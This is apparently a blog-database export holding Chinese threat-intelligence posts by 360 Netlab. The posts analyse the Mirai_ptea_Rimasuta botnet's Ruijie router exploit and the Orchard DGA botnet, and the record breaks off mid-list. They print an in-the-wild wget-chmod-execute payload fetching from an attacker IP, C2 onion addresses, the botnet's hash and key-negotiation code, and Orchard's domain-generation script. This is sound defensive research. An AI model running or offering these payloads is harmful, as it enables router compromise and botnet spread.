tmp3=(sum^(sum*8)&0xffffffff)+((sum^(8*sum)&0xffffffff)>>5)
tmp4=(tmp3^(16*tmp3)&0xffffffff)+((tmp3^(16*tmp3)&0xffffffff)>>17)
final=(tmp4^(tmp4<<25)&0xffffffff)+((tmp4^(tmp4<<25)&0xffffffff)>>6)
return final&0xffffffff
content='''
72 53 4b 7f e9 08 7c 9b
'''.replace(' ', '').replace('\n','').decode('hex')
print hex(hash_calc(content,len(content)))
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 版权\n版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。\n\n# 概述\n2021年7月我们向社区公布了一个通过KGUARD DVR未公开漏洞传播的僵尸网络[Mirai_ptea](__GHOST_URL__/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/)，一开始我们认为这是一个生命短暂的僵尸网络，不久就会消失不见，因此只给了它一个通用的名字。但很显然我们小看了这个家族背后的团伙，事实上该家族一直非常活跃，最近又观察到该家族正在利用[`RUIJIE NBR700`](https://www.ruijienetworks.com/)系列路由器的在野0day漏洞传播。\n\n比较有意思的是，该家族的作者曾经在某次更新的样本中加入了这么一段话吐槽我们的**mirai_ptea**命名：\n```-_- you guys didnt pick up on the name? really??? its ``RI-MA-SU-TA``. not MIRAI_PTEA this is dumb name.```\n出于对作者的\"尊重\"，以及对该团伙实力的重新评估，我们决定将其命名为**Mirai_ptea_Rimasuta**。\n\n不同于大多数Mirai/Gafgyt僵尸网络惯用的telnet弱口令传播，Mirai_ptea_Rimasuta偏爱0day，短短的时间内就发现使用2个漏洞来传播，这说明其背后的团伙有比较强的漏洞发现&整合能力。Mirai_ptea_Rimasuta目前样本在不停的迭代开发中，处于非常活跃的状态，此次活动Rimasuta已经开始对抗沙箱的自动化运行，并将网络流量加密以对抗网络层面的检测，这说明其背后的团伙有比较强的编码创新能力。\n\n从团伙画像的角度来看，Mirai_ptea_Rimasuta的作者性格跳脱，喜欢在样本中留下“彩蛋”和安全研究人员进行互动，或许我们和他之间的“战争”将持续非常长时间。\n\n## 时间线\n- 2021-06-10 另一个mirai变种mirai_aurora首先利用此漏洞传播\n- 2021-09-05 我们首次捕获到利用此漏洞传播的Mirai_ptea_Rimasuta样本，这之前Mirai_ptea_Rimasuta很可能利用这个漏洞在传播了\n- 2021-09-06 我们向厂商通报了漏洞情况\n- 2021-09-09 厂家确认漏洞存在，并告知已经[停止维护](https://www.ruijie.com.cn/fw/xw/86338/)这个版本的设备，厂家认为可以通过修改默认密码缓解，所以不打算提供新的补丁修复漏洞。\n\n# 漏洞利用分析\n### 漏洞类型\n需授权命令注入漏洞\n\n### 漏洞细节\n\n为避免漏洞滥用，我们不公开全部细节。本节说明仅包括部分漏洞利用过程。RUJIE路由器设备上存在一个名为`wget_test.asp`测试的接口，该接口接受从页面传入的URL进行wget测试(测试功能最终通过一个名为`wget_test.sh`的脚本实现)，但没有对传入参数进行特殊字符检查，导致命令注入。注意：该接口需要登录认证。但因为RUIJIE路由器同时存在弱口令漏洞，所以攻击者可以将这2个漏洞结合起来发起攻击。根据我们调查，目前在线设备有不少依然存在这个问题。\n\n其中`wget_test.sh`的内容如下：\n```\n#!/bin/sh\n\nwhile [ 1 ]\ndo\n\twget -O /dev/null $1;\n\tsleep 1;\ndone\n```\n\n\n\n### 已知受影响设备版本\n```\nNBR1600GDX9 Release(180516)\nRGNBR700GDX5 Release(180202)\nRGNBR700GDX5 Release(180314)\nRGNBR700GDX9 Release(180720)\nRGNBR700GWDX5 Release(180314)\nRGNBR700GWDX9 Release(180613)\nRGNBR700GWDX9 Release(180720)\nRGNBR700GWDX9 Release(191023)\nRGNBR900GA1C2 Release(170809)\n```\n\n### 在野漏洞利用payload分析\n部分漏洞利用Payload如下:\n\n\n上图中的URL对应的文件内容如下所示，第一眼看上去，有点奇怪，因为它使用了许多空的变量来迷惑安全分析人员。\n```\nv=.rib;\ncd ${ENrjHs}/t${hSQGxia}mp;\nwg${qyZuBCTFDSMnw}et http://2[.56.244.121/gkTHLPZAAsmP -O ${v};\nchm${mBSVmBhyrCQcZ}od +x ${v};\n./${v};\n```\n当去除这些变量后，它的功能就很直观了：下载样本，执行。\n```\n\nv=.rib;\ncd /tmp;\nwget http://2.56.244.121/gkTHLPZAAsmP -O ${v};\nchmod +x ${v};\n./${v};\n```\n\n# Bot规模分析\n从我们的数据视野看，该僵尸网络的活跃Bot源IP趋势如下：\n\n\nBot源IP地理位置分布如下：\n\n\n\n# 样本分析\n本文选取ARM架构的样本为主要分析对象，它的基本信息如下所示：\n```\nMD5:b01b0bc32469f11a47d6e54eef8c7ffb\nELF 32-bit LSB executable, ARM, version 1, statically linked, stripped\nPacker:No\nLib:uclibc\n```\n众知周知Mirai_ptea_Rimasuta是一个Mirai变种，它重新设计了加密算法和C2通信。在加密算法方面，Mirai_ptea_Rimasuta通过使用TEA算法代替Mirai简单的XOR加密，大量的敏感的资源信息如C2，Tor Proxy等都是加密存储在样本中的；在C2通信方面，Mirai_ptea_Rimasuta使用Tor Proxy间接和C2建立通信。这部分的详细信息，感兴趣的读者可以参考我们上一篇Blog，本文着重关注此次活动样本的一些变化。\n\n### 0x1: TEA密钥\n此次活动的Mirai_ptea_Rimasuta样本，硬编码了2组TEA密钥，一组用于加&解敏感资源，一组用于加&解密网络流量，为了区分，我们将前者称之为Res_teakey，后者为Net_teakey。\n\n```Res_teakey```如下所示：\n\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_reskey.png\" width=\"860px\" />\n\n部分资源信息解密后如下所示，注意index c的内容，```This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe```。\n```\nindex 0, value = /proc/\nindex 1, value = /exe\nindex 2, value = /fd\nindex 3, value = /proc/net/tcp\nindex 4, value = /cmdline\nindex 5, value = /status\nindex 6, value = /maps\nindex 7, value = /dev\nindex 8, value = /dev/misc\nindex 9, value = /dev/misc/watchdog\nindex a, value = /dev/watchdog\nindex b, value = watchdog\nindex c, value = This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe\n```\n当第一次看到这项内容时，我们的反应是黑人问号脸。借此机会，我们只想对Mirai_ptea_Rimasuta的作者说，“好好加油，努力让我们惊艳，或许我们真会写个PPT来专门讨论你”，LOL。\n\n```Net_teakey```如下所示：\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_netkey.png\" width=\"860px\" />\n实际上它并没有被使用，只是充当占位符，Mirai_ptea_Rimasuta在运行时会动态生成新的Net_teakey，这部分的内容将在下文的网络协议部分论述。\n\n\n\n### 0x2: 环境检测\n大量沙箱或模拟器在处理样本时，会将样本存放在一个固定的路径并以MD5或随机字串命名。Mirai_ptea_Rimasuta通过已下代码片段来检测样本运行时的路径&文件名，只有符合要求才会进入真正的逻辑，否则就退出，这是一种非常明显的对抗。\n\n以下为部分“合法运行路径”\n```\n./.rib\n/XXriXX\n```\n\n### 0x3: C2变化\nMirai_ptea_Rimasuta通过以下代码片段来获取Tor C2，可以看出C2在加密资源中的表项为0xD，一共有6个C2(random mod 6)。\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_c2.png\" width=\"860px\" />\n0xD中的加密信息解密后如下所示：\n```\nindex d, value = uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqdwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqdt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkadrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivydvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqdpnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion\n```\n将上面字串排除尾部的“.onion”后以长度56分割，然后和尾部的.onion字串进行拼接，就得到了以下6个C2，这6个C2和样本中硬编码6个的port存在一一对应关系。\n```\nuf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346\nwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288\nt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774\nrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000\nvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644\npnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409\n```\n\n### 0x4: 网络协议变化 \n\n此次活动的Mirai_ptea_Rimasuta样本对网络流量也开始使用TEA算法加密，虽然在样本中存有一组硬编码的密钥Net_teakey，但实际中并没有使用，而是通过和C2协商动态生成的新的密钥。Net_teakey由4个4字节数据组成，下文将以Net_teakey[下标]的方式表示其中的某一项。\n\n整个通信过程可以分成以下3步：\n\nStage 1. 和通过TOR PROXY和TOR C2建立通信\nStage 2. TEA密钥协商\nStage 3. 接收C2下发的指令，注意此时流量都已加密\n\n其中的重点在第2步密钥协商，以下图实际产生的数据流量为例，我们将一步一步论述Bot&C2是如何得到相同的密钥。\n\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_packet.png\" width=\"860px\" />\n\n\nStage1是典型的和TOR C2建立通信的过程，此处不再赘述。从Stage2开始，Mirai_ptea_Rimasuta的数据包由```head(2bytes),hash(4bytes),content(Nbytes)```3部分组成，其中head的值在一次会话中是固定，hash的值由附录中的hash_calc函数对content计算而来。\n\n整个协商过程如下所示：\n\n1. Bot随机生成12个字符，使用附录中的hash_calc算法，得到Net_teakey[0]的值。此时Bot有Net_teakey[0]，C2不知道任何Net_teakey的值。\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_ag1.png\" width=\"860px\" />\n \n\n2. Bot随机化8个字符构成content，使用hash_calc计算content得到hash，并把hash值的低16位放到head中，然后将这个包长为14字节的数据包发给C2，最后通过hash_calc计算整个包得到Net_teakey[2]值，此时Bot有Net_teakey[0,2]，C2有Net_teakey[2]。\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_ag2.png\" width=\"860px\" />\n \n\n3. C2回包给Bot，其中的hash的值供第4步中使用。\n\n4. Bot收到C2的回包后，将本地IP，第1步中的随机字符等信息构成content，使用TEA算法（Res_teakey为密钥）加密，构造好长度为32字节的数据包发算给C2，其中hash的值就是Net_teakey[1]，最后把第3步的C2 hash与自己的Bot hash通过hash_calc计算，到是Net_teakey[3]。此时Bot已经知道Net_teakey中的4个值了，获得顺序为[0,2,1,3]。\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_ag4.png\" width=\"860px\" />\n \n\n5. C2收到Bot的包后，首先能到Net_teakey[1]，然后通过hash_calc计算得到Net_teakey[3]，最后解密content得到Bot在第1步中使用的12个字串，再通过hash_calc计算到得Net_teakey[0]。此时C2也知道了Net_teakey中的4个值，获得顺序为[2,1,3,0]。\n\n至此协商过程结束，Bot&C2的后续通信使用密钥为Net_teakey的TEA算法加&解密。\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_netenc.png\" width=\"860px\" />\n### 0x5: 信息收集功能\n\n此次活动的Mirai_ptea_Rimasuta样本会监控被侵入设备的TCP网络连接情况，并将符合特定要求的连接明细上传到Reporter。我们认为Mirai_ptea_Rimasuta的作者会依托其这部分收集到的信息，进行**数据挖掘**。\n\n具体实现过程可以分成以下几步：\n\n1. 通过/proc/net/tcp获取当前TCP网络连接的inode信息，以及网络连接的状态State信息\n\n2. 通过/proc/[pid]/fd获取的socket inode，和第1步中的inode进行匹配，得到相应的进程\n\n3. 通过/proc/[pid]/cmdline获取第2步中的进程的cmdline信息\n\n4. 如果网络连接的State为\"established\"且cmdline中有\"wget\" 字串时，则将此进程的cmdline，以及网络通信的远端地址&端口上报给Reporter。\n\n5. 如果网络连接的State为“listen”，本地端口为\"3451,8888,17872,9137\"其中的一个，且有进程和此进程建立了连接，则将此进程的cmdline，以及网络通信的远端地址&端口上报给Reporter。\n\n6. 如果网络连接的State不是“established,listen”中的一个时，将此进程的cmdline，以及网络通信的远端地址&端口上报给Reporter。\n\n \n\n其中通过下以代码片段和Reporter建立通信，其中Reporter解密后的内容为```gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion```。\n\n\n\n\n当成功和Reporter建立通信后，通过以下代码片段构建要上报的信息。\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_repdata.png\" width=\"860px\" />\n\n\n实际中产生的Report数据包，以及各字段含义如下所示：\n\n```\nRAW packet\n00000000: 5A A5 90 D9 F9 37 B4 D6 00 AC 1E 01 09 3A 77 67 Z....7.......:wg\n00000010: 65 74 20 2D 71 20 2D 4F 20 2D 20 68 74 74 70 3A et -q -O - http:\n00000020: 2F 2F 69 63 6D 70 2E 64 76 72 69 6E 73 69 64 65 //icmp.dvrinside\n00000030: 2E 63 6F 6D 3A 39 30 30 30 2F 47 65 74 50 75 62 .com:9000/GetPub\n00000040: 6C 69 63 4E 61 6D 65 20 licName \n----------------------------------------------------------------------------\nField parsing\n5A A5\t\t\t----> magic, 2bytes\n90 D9 F9 37\t\t----> remote ip, 4 bytes\nB4 D6\t\t\t----> remote port, 2 bytes\n00\t\t\t\t----> hardcode, 1 byte\nAC 1E 01 09\t\t----> local ip\n3A\t\t\t\t----> length of \"cmdline\"\n77 67 ..to end ----> cmdline \n```\n\n\n# 处置建议\n我们建议RUIJIE路由器用户及时检查并更新固件系统。为Web管理接口设置复杂登陆密码。\n\n# 联系我们\n感兴趣的读者，可以在[twitter](https://twitter.com/360Netlab)或者在微信公众号 360Netlab上联系我们。\n\n# IoC\n### Downloader\n\n```\nhttp://2[.56.244.121/tuPuSSbAxXIW\nhttp://2[.56.244.121/gkTHLPZAAsmP\nhttp://2[.56.244.121/VqIXrFxAGpPD\nhttp://2[.56.244.157/qSdYKoxbZakW\nhttp://2[.56.244.157/iZXPWXshhRRt\nhttp://2[.56.244.157/vnlWcwcBunwk\nhttp://2[.56.244.157/IAqecfTrQwQF\nhttp://2[.56.244.157/bwgFHtUOGJcv\nhttp://2[.56.244.121/KaoJHwKMBiAJ\nhttp://2[.56.244.157/yhZyIAclbmhD\nhttp://2[.56.244.157/PszBtRNfnzBO\nhttp://2[.56.244.157/SywXQrWdNIrM\nhttp://2[.56.244.157/awfLWTOmgxTX\nhttp://2[.56.244.157/zEkFejmPQeVR\nhttp://91[.211.91.56/mIoCinspKSkE\nhttp://91[.211.89.242/vkvTxquhFCGV\nhttp://91[.211.88.220/OOGRLHgUnshR\n```\n\n### Sample MD5\n\n```\nb01b0bc32469f11a47d6e54eef8c7ffb\n1a5329dcda994df16e6896f870f04f5e\n344df0446b8b40588ca5e72ad3ef7217\n777792d3df3f1850fa667b4afbb2cfc1\na6ddfec272fbf867a4cf3c154eaf47aa\n904cbd20a5996125f91f9c7c02ca9bbd\n```\n\n### C2\n```\nuf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346\nwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288\nt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774\nrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000\nvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644\npnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409\n```\n### Reporter\n```\ngmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6667\ngmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6668\ngmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6669\n```\n### 附录\n```\n----------------------------------------------------------------------\nRAW packet\n#00000048 99 9f 29 9c 9f 99 72 53 4b 7f e9 08 7c 9b ..)...rS K...|.\n# head 99 9f\n# hash 29 9c 9f 99\n# content 72 53 4b 7f e9 08 7c 9b\n----------------------------------------------------------------------\ndef hash_calc(buf,len):\n cnt=len>>2\n cnt2=len&3\n sum=len\n \n for i in range(0,cnt*4,4):\n tmp=((ord(buf[i+1])<<8)+ord(buf[i])+sum)\n tmp2=(tmp^(((ord(buf[i+3])<<8)+ord(buf[i+2]))<<11)&0xffffffff)^((tmp<<16)&0xffffffff)\n sum=(tmp2+(tmp2>>11))&0xffffffff\n \n if cnt2==3:\n tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff\n tmp2=tmp^((ord(buf[cnt*4+2])<<18)&0xffffffff)^((tmp<<16)&0xffffffff)\n sum=(tmp2+(tmp2>>11))&0xffffffff\n \n elif cnt2==2:\n tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff\n sum=(tmp^(tmp<<11)&0xffffffff)+((tmp^(tmp<<11)&0xffffffff)>>17)\n \n elif cnt2==1:\n tmp=(((ord(buf[cnt*4])+sum)<<10)&0xffffffff)^ (ord(buf[cnt*4])+sum) \n sum=(tmp+(tmp>>1))&0xffffffff\n \n else:\n pass\n \n tmp3=(sum^(sum*8)&0xffffffff)+((sum^(8*sum)&0xffffffff)>>5)\n tmp4=(tmp3^(16*tmp3)&0xffffffff)+((tmp3^(16*tmp3)&0xffffffff)>>17)\n final=(tmp4^(tmp4<<25)&0xffffffff)+((tmp4^(tmp4<<25)&0xffffffff)>>6)\n\n return final&0xffffffff\n\ncontent='''\n72 53 4b 7f e9 08 7c 9b\n'''.replace(' ', '').replace('\\n','').decode('hex')\nprint hex(hash_calc(content,len(content)))\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6135f2473819e50007634c7c |
post | null | 2021-09-06T11:29:17.000Z | 63873b9a8b1c1e0007f52fe0 | mirai_vodka | 0 | 2021-09-06T11:29:17.000Z | public | draft | null | null | Mirai_Vodka | null | null | {"version":"0.3.1","markups":[],"atoms":[],"cards":[],"sections":[[1,"p",[[0,[],0,""]]]],"ghostVersion":"3.0"} | 6135fb8d3819e50007634ca5 |
post | null | 2021-09-13T08:41:38.000Z | 63873b9a8b1c1e0007f52fe1 | orchard-dga | 0 | 2022-08-05T03:31:07.000Z | public | published | null | 2022-08-05T03:31:07.000Z | DGA家族Orchard持续变化，新版本用比特币交易信息生成DGA域名 | <!--kg-card-begin: markdown--><p>DGA是一种经典的botnet对抗检测的技术，其原理是使用某种DGA算法，结合特定的种子和当前日期，定期生成大量的域名，而攻击者只是选择性的注册其中的极少数。对于防御者而言，因为难以事先确定哪些域名会被生成和注册，因而防御难度极大。</p>
<p>360 netlab长期专注于botnet攻防技术的研究，维护了专门的<a href="https://data.netlab.360.com/dga/">DGA算法和情报库</a>，并通过订阅情报的方式与业界分享研究成果。近期我们在分析未知DGA域名时发现一例不但使用日期，还会同时使用中本聪的比特币账号交易信息来生成DGA域名的例子。因为比特币交易的不确定性，该技术比使用时间生成的DGA更难预测，因而防御难度更大。</p>
<p>该技术发现于一个名为Orchard的botnet家族。自从2021年2月份首次检测到该家族以来，我们发现它至少经历了3个版本的变化，中间甚至切换过编程语言。结合长期的跟踪结果和其它维度的信息，我们认为Orchard会是一个长期活跃、持续发展的botnet家族，值得警惕。本文将介绍Orchard的最新DGA技术，以及它这3个版本的发展过程。本文要点如下：</p>
<ul>
<li>Orchard是一个使用了DGA技术的botnet家族，核心功能是在受害者机器上安装各种恶意软件。</li>
<li>从2021年2月至今，我们先后检测到3个版本的Orchard样本，均使用了DGA技术。</li>
<li>Orchard的DGA算法一直未变，但日期的使用方式一直在变，最新版同时支持使用比特币账号信息来生成单独的DGA域名。</li>
<li>除了DGA，Orchard还硬编码了C2域名。</li>
<li>Orchard目前仍在活跃，致力于门罗币挖矿。</li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">传播方式、规模以及影响范围</h2>
<p>Orchard采用了“硬编码域名+DGA”的冗余C2机制，并且每个版本都硬编码了1个唯一的DuckDNS动态域名作为C2，根据它们的DGA实现方式和硬编码的域名，我们把已经检测到的Orchard样本分为3个版本：</p>
<pre><code>v1, orcharddns.duckdns.org
v2，orchardmaster.duckdns.org
v3, ojena.duckdns.org
</code></pre>
<p>它们的时间线如下：</p>
<pre><code>* 2021年3月，检测到v1版本，使用C++开发。结合历史数据，我们将v1首次出现时间提前到2021年2月。
* 2021年9月，检测到v2版本，它使用Golang和C++编写。
* 2022年7月，检测到v3版本，编写语言回到C++。
</code></pre>
<p>这3个版本都支持通过感染USB盘的方式进行传播，这一点跟传统的病毒很像，具体实现参考后面的“USB感染逻辑”部分。理论上，Orchard也完全可以通过其它方式传播。</p>
<p>利用我们的图系统结合PDNS和其它维度的数据，我们发现v1和v2的C2存在明显的共享IP的情况，如下图所示。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/-----C2.png" alt="-----C2" loading="lazy"></p>
<p>图系统帮我们找到了更多的C2 IP和域名，详见后面的IoC部分，这里的域名特点是都以duckdns.org结尾。v3因为比较新，没发现其它的关联域名，下面是v3域名的活跃情况。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/v3----.png" alt="v3----" loading="lazy"></p>
<p>能看到它是今年5月上线，然后逐渐活跃，目前应该仍然在活跃期内。</p>
<p>基于PDNS我们对3个版本的感染规模做了评估，其中v1和v2节点数近千，v3因为出现较晚，节点数不到500，下面是各个版本域名到具体IP的详细解析数。</p>
<pre><code># v1, orcharddns.duckdns.org
37, 45.61.185.36
413, 45.61.186.52
1301, 45.61.187.240
207, 205.185.124.143
# v2, orchardmaster.duckdns.org
45, 45.61.185.36
104, 45.61.186.52
659, 45.61.187.240
# v3, ojena.duckdns.org
418, 45.61.185.231
</code></pre>
<p>需要强调的是上面的规模数据只是我们视野内看到的，实际的应该要比这更多。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">样本分析</h2>
<p>Orchard样本在样本层面多使用loader，用于对抗分析和自我保护。目前看到的Orchard loader并不固定，即使单个版本也会出现多种loader的情况，比如v1版本的Orchard以base64字符串的形式存在于loader中，v2/v3版本的样本有的以资源文件的形式存放在loader中。各个版本还都曾使用过例如VMP、Enigma等虚拟壳来保护自身。总的来说，Orchard的工作流程可以用下面的图来总结。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/----3.png" alt="----3" loading="lazy"></p>
<p>Orchard三个版本的功能基本相同，包括：</p>
<ul>
<li>上传设备及用户信息</li>
<li>响应指令/下载执行下一阶段的模块</li>
<li>感染USB存储设备</li>
</ul>
<p>下面从DGA算法、C2通信和主机行为等几个维度分别分析3个版本Orchard的核心功能。</p>
<h3 id="v1">v1版本</h3>
<p>该版本的分析以MD5=5c883ff8539b8d04be017a51a84e3af8的样本为基础。它在运行时首先释放内嵌的PE文件到自启动目录下，所释放的PE在内存中进行base64解码得到orchard的数据，随后该PE将System32/SysWOW64下的任一exe作为傀儡进程，来运行保存的orchard代码。该版本Orchard整体逻辑如下图，主要分为网络通信和USB感染两部分，最终功能取决于C2下发的具体模块，因此orchard本身可以认为是一个Downloader的角色。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/v1----.png" alt="v1----" loading="lazy"></p>
<p>此处主要描述其网络通信过程（三个版本的USB感染逻辑相同，详见USB感染一节）。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>C2通信过程较为简单，bot在check-in过程中向C2发送收集到的主机信息，然后等待C2响应的指令。v1版本所收集信息包括：卷序列号（HWID）、电脑名称、用户名、操作系统名称、系统版本、已安装的捕获驱动程序名称、杀软信息、父进程文件修改时间、置顶窗口名称及窗口标题等，这些信息以“[o.r.c.h.a.r.d]”作为分隔符进行拼接后发送，如下图所示。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/v1.C-------4.png" alt="v1.C-------4" loading="lazy"></p>
<p>C2响应数据格式一般为“指令+数据”，指令的功能通过指令码指定。下面是一个具体的C2响应，其中"[&&]"代表指令码2，代表下载执行，具体处理过程分为2种：响应数据如果是URL，则下载URL对应的PE并执行；如果是base64编码的内容，则先解码然后执行解码后的数据。此处响应的数据实际是base64编码的新版本PE文件，相当于升级，这也表明老版本可能已经废弃。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/v1.C-------5.png" alt="v1.C-------5" loading="lazy"></p>
<p>v1版本一共定义了8个指令，指令码与指令字符串的对应关系如下：</p>
<pre><code>1 \[=]
2 \[&&]
3 \[##]
4 \[###]
5 \[%%]
6 \[%%%]
7 \[#\_#]
8 \[\_\_\] \[>>] \[<<] \[^^] \[\*\] \[\~\] \[@] \[!] \[#\*\#\] \[#@#]
</code></pre>
<p>由于某些指令置空，8个指令实际对应三种操作（后续版本大同小异）：</p>
<ul>
<li>指令码1和2：判断响应数据为URL或者PE，如果是URL则下载执行，如果是PE，则创建进程执行（CreateProcess创建进程、傀儡进程、远程线程注入等）。</li>
<li>指令码3、4、8：终结当前进程删除原始文件，或者重新启动。</li>
<li>指令码7：再次收集C2、port、PID、文件名信息向C2进行发送，示例：orcharddns.duckdns.org[o.r.c.h.a.r.d]5890[o.r.c.h.a.r.d]2260[o.r.c.h.a.r.d]stage-3_.exe[o.r.c.h.a.r.d]</li>
</ul>
<h4 id="dga">DGA算法</h4>
<p>v1的DGA以日期字符串（比如“2022/07/05”）作为输入，计算其MD5值，然后将MD5字符串均分成长度为8的四个子字符串，依次与 .com、.net、.org、.duckdns.org 这4个后缀拼接，得到每天4组16个DGA域名，算法实现如下。</p>
<pre><code># 2021/04/15
import datetime
import hashlib
days=30
for i in range(0, days):
datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y/%m/%d')
print("seed: ", datex)
md5 = hashlib.md5(datex.encode()).hexdigest()
print('md5: ', md5)
dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
print(dga_list[j] + '.com')
print(dga_list[j] + '.net')
print(dga_list[j] + '.org')
print(dga_list[j] + '.duckdns.org')
</code></pre>
<p>示例域名如下：</p>
<pre><code>seed: 2022/07/05
md5: 91ac64d29f78281ad802f44648b2137f
91ac64d2.com
91ac64d2.net
91ac64d2.org
91ac64d2.duckdns.org
9f78281a.com
9f78281a.net
9f78281a.org
9f78281a.duckdns.org
d802f446.com
d802f446.net
d802f446.org
d802f446.duckdns.org
48b2137f.com
48b2137f.net
48b2137f.org
48b2137f.duckdns.org
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="v2">v2版本</h3>
<p>v2版本出现了两种编程语言实现的样本，分别是Golang和C++，但是功能相同。这里的分析以MD5=<a href="https://www.virustotal.com/gui/file/5da3a405fea843ed422c06987179e0ac47b915c1d12cc608ce4ecb187edf5f03/details">f3e0b960a48b433bc4bfe6ac44183b74</a>的Golang样本为例，它的C2初始化函数如下图所示，能明显看到硬编码的C2域名。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/09/3.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>v2版本开始使用json格式，字段含义相对清晰。其收集的信息跟v1大致相同，包括：卷序列号（HWID）、电脑名称、用户名、系统版本、杀软信息、活动窗口信息等，新增的字段有：.net框架版本（比如v2.0.50727）、USB 状态、发包类型及自身版本。下面是一个实际观察到的版本号信息，Bot_Version=1.2/G可能的解释为：版本=v1.2，编写语言=Golang。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/v2.golang-----1.png" alt="v2.golang-----1" loading="lazy"></p>
<p>v2版本的C++语言样本集成了同样的C2，上线包中的版本信息则变成了“Bot_version:1/C”，它所收集的信息如下图所示。</p>
<p><img src="__GHOST_URL__/content/images/2022/08/v2.C-------1.png" alt="v2.C-------1" loading="lazy"></p>
<p>根据代码相似性分析，v2版本的C++样本跟后来的v3版本代码同源，说明后者是从前者进化而来。</p>
<p>v2版本一共有两种指令：</p>
<ul>
<li>指令1：终结当前进程删除原始文件，或者重新启动。</li>
<li>指令2：判断响应数据为URL或者PE，如果是URL则下载执行，如果是PE，则创建进程执行（CreateProcess创建进程、傀儡进程、远程线程注入等）。</li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h4 id="dga">DGA算法</h4>
<p>v2版本的DGA算法跟v1相同，差别在于对日期字符串的处理，v2会在日期字符串后拼接硬编码的域名“orchardmaster.duckdns.org”，形如“2022/07/05orchardmaster.duckdns.org"，然后套用v1版本的DGA算法生成域名。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="v3">v3版本</h3>
<p>v3的开发语言回到C++编写，同样包括C2通信和USB感染功能。C2通信逻辑在一个线程中运行，同时该线程还包括一个跟XMRig挖矿绑定的辅助线程，当Orchard接收完毕下发的XMrig程序并创建傀儡进程运行之后，辅助线程会向C2再次发送挖矿相关的硬件信息，尝试从C2读取挖矿软件的配置，目的是为了检查是否需要动态修改XMRig运行时的配置（XMRig提供了一套HTTP api，支持动态读取并修改运行时的挖矿配置）。</p>
<p>以MD5=cb442cbff066dfef2e3ff0c56610148f的样本为例，C2通信功能如下。</p>
<p><img src="__GHOST_URL__/content/images/2022/07/v3-1.png" alt="v3-1" loading="lazy"></p>
<p>v3版本在C2通信中同样使用json格式来保存主机信息，发送数据的整体结构为<strong>Byte_0x46+TotalLen+InfoLen+Info.json</strong>。相比v2，v3增加了多个跟挖矿相关的字段，收集的信息包括：</p>
<ul>
